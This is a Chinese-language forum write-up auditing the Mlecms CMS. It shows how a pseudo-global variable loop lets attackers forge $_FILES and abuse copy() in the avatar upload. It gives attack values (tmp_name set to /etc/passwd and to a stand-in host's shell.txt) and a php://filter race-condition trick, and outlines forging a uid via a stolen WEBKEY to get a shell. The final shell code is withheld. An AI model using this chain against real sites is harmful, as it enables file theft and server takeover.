本文来自i春秋作者:索马里的海贼
看了版主 jing0102 的{代码审计思路 (通读+审计) Mlecms(中危漏洞/不简单), 感觉挺有意思 于是也回去下了一套代码看看 不得不说小众CMS的开发能力、安全意识跟大厂商还是有不少差距的 限于篇幅 不是关键部分就不贴代码了
拿到一套源码 首先得找到下手的地方,不管是不是新手 我都建议从index.php开始。 index.php做为固定主页面,里面肯定包含了整套系统的配置读取,初始化等内容,跟随这些包含的内容或者文件 就能大致了解整套系统的处理框架 流程等信息 这些信息在审计中都是非常重要的。经常有刚入门的审计同学不知道怎么才能加载某个文件,或者明明发现某个地方存在问题,却不知道如何访问去触发,这都是对流程不熟悉的结果。
感觉说的废话都能出一本书了,接下来直接来看看今天的主角mlecms index.php 中包含了一个 inc/include/ 目录下的header.php 而 header.php 又包含了 common.inc.php common.inc.php 又包含了 globals.php .
这3个文件都是用来初始化站点的数据,在看到globals.php的时候 发现有这么一段
foreach(array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $i => &$n){
${$i} = daddslashes($n);
}
}
接触过代码审计的人应该很熟悉,这是一段伪全局的代码。很多流行cms都会用,也出过不少问题,dz dedecms都在伪全局上吃过苦头。
这里并没有对变量名进行判断就直接用双GBLOBAS超全局变量导致的getshell么
好在这套系统并没有用$GBLOABS来做什么文章,而且变量的值都经过了daddslashes做了转义。那如果是$_FILES
呢~
正常的流程中$_FILES变量是当产生用户上传动作时一个系统初始化的数组
$_FILES['userfile']['name'] //客户端机器文件的原名称。
$_FILES['userfile']['type'] //文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size'] //已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] //文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error'] //和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。
当正常上传的时候 数组中的tmp_name
值是不可控的,但因为上面的提到隐患,$_FILES
变量可以通过GPC提交来覆盖了。
当然$_FILES可控在严谨的上传流程里也不一定能造成很大的危害 我们就来看看这套系统的上传流程
搜索$_FILES
有4个文件使用了这个变量 去掉后台功能和ckeditor 找到了
inc/class/avatar.class.php
看名字应该是跟头像上传有关,来看看具体内容
inc/class/avatar.class.php 行34
//这里的注释等下回来看
public function onuploadavatar() {
@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
$this->init_input($_GET['agent']);
$uid = $this->input['uid']; //uid来自input数组 input数组来自init_input()函数
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']); //这里调用getimagesize函数来检查文件内容
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type]; //限定了文件后缀来自$imgtype数组
$tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; //临时保存文件名 [固定]+uid+文件后缀
file_exists($tmpavatar) && @unlink($tmpavatar); // 如果已经存在 先删除
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']); //如果移动成功 就删了原文件
list($width, $height, $type, $attr) = getimagesize($tmpavatar); //再次调用getimagesize函数检查移动后的文件
if($width < 10 || $height < 10 || $type == 4) { //如果长度宽度不符合要求 或者$type=4(我记得是swf文件好像) 就删掉目标文件
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']); //移动失败 也删掉原文件
return -4;
}
global $config;
$avatarurl = $config['url'].'inc/tmp/other/member_'.$uid.$filetype;
return $avatarurl;
}
看到了这句
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
move_upload_file
函数会在移动文件之前检查文件是否为合法的上传临时文件,如果想搞事,伪造的tmp_name
是不会通过函数检查的
但copy就不一样了 不管你来源 不管你目的 直接给你怼过去。
再看看上面这句 两个函数都尝试了
所以如果我们伪造$_FILES['Filedata']['tmp_name']=/etc/passwd
就是一个妥妥的任意文件读取了
更进一步 如果伪造$_FILES['Filedata']['tmp_name']=http://xxx.com/shell.txt
是不是就能getshell了呢
来看看程序的流程(减少篇幅 回去看上面代码段的注释)
可以看到 不管哪个流程 最终都会删掉原文件(也就是我们伪造的$_FILES['Filedata']['tmp_name']
)你应该不想读了个数据库配置信息导致整个网站瘫痪吧。而且这里保存的文件后缀来自数组 并不能随意伪造来getshell。
到这里真的没办法了吗?
真的没办法了吗?当然不,代码审计就是要有死磕的精神,你拦我绕,你堵我怼。来看看怎么怼。
先总结一下目前的状况 由于伪全局未过滤,导致$_FILES变量覆盖 又由于使用了copy函数来进行文件移动 不会检查文件是否合法 可能导致任意文件读取和getshell的问题 问题是 不管走哪个流程 都会unlink原文件 读取关键配置会导致关键配置文件被删 站点直接瘫痪
一个一个来解决
关于文件读取 有没有办法 能让copy(src,dst)成功 而unlink(src)失败呢
答案是有的 就是神奇的php://filter 这里限于篇幅 不再细说这个schema 百度一下有几位前辈早已写过有关的文章
利用php://filter/resource=路径/文件名 就可以达到我们想要的效果 copy成功 unlink失败,虽然copy成功之后 第二个getimagesize检查后面的unlink没办法bypass,不过已经生成了,那我读不读就由不得你了。时间竞争大家应该不陌生, 我赶在你生成和删除中间的一瞬间读到不就行了,时间竞争的关键一点就是,目标要明确,如果我不知道你文件名 胡乱去猜的话 这个时间间隔肯定是不够的,但是文件名我们是已知的( [固定]+uid+文件后缀),所以多试几次 肯定能成功。
好了 现在任意文件读取这个漏洞已经拿下了,那贪心一点 能getshell么?
答案当然也是能。
来看看保存的文件名格式。
//这里调用getimagesize函数来检查文件内容
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type]; //限定了文件后缀来自$imgtype数组
$tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; //临时保存文件名 [固定]+uid+文件后缀[/size][/size][/color][/size][/font][/size][/font][/color]
为了getshell 这里需要让getimagesize()失败 这样$type就不会被初始化
$filetype=$imgtype[$type];
文件后缀就变成null了 接下来如果能控制uid来自
$this->init_input($_GET['agent']);
$uid = $this->input['uid']; //uid来自input数组 input数组来自init_input()函数
看看init_input函数
public function init_input($getagent = '') {
$input = $_GET['input'];
if($input) {
$input = encryption($input,'DECODE',WEBKEY);
parse_str($input,$this->input);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input['time'] > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}
从$_GET['input'];
中解密并用parse_str
赋值给了$this->input
数组
这里用的加解密函数encryption()其实就是dz的 authcode 函数,还是比较安全的。密钥WEBKEY来自inc/config/version.config.php
如果我们能知道密钥WEBKEY 就能伪造uid=.php的input值来getshell
怎么得到这个WEBKEY值呢,别忘了上面的任意文件读取哦~
毕竟还是个0day 危害也比较大 这里就不公开具体的getshell代码了 主要是分享一个从拿到cms开始发现安全隐患 到如何利用安全隐患 再遇到困难 解决困难最终成功利用的过程。
写文章比看代码累多了。。。 代码审计 靠的其实就是对编程语言的理解。怎么去快速发现问题,怎么去绕坑,都需要不断的积累。 最后祝大家0day多多
原文地址:http://bbs.ichunqiu.com/thread-13703-1-1.html?from=seebug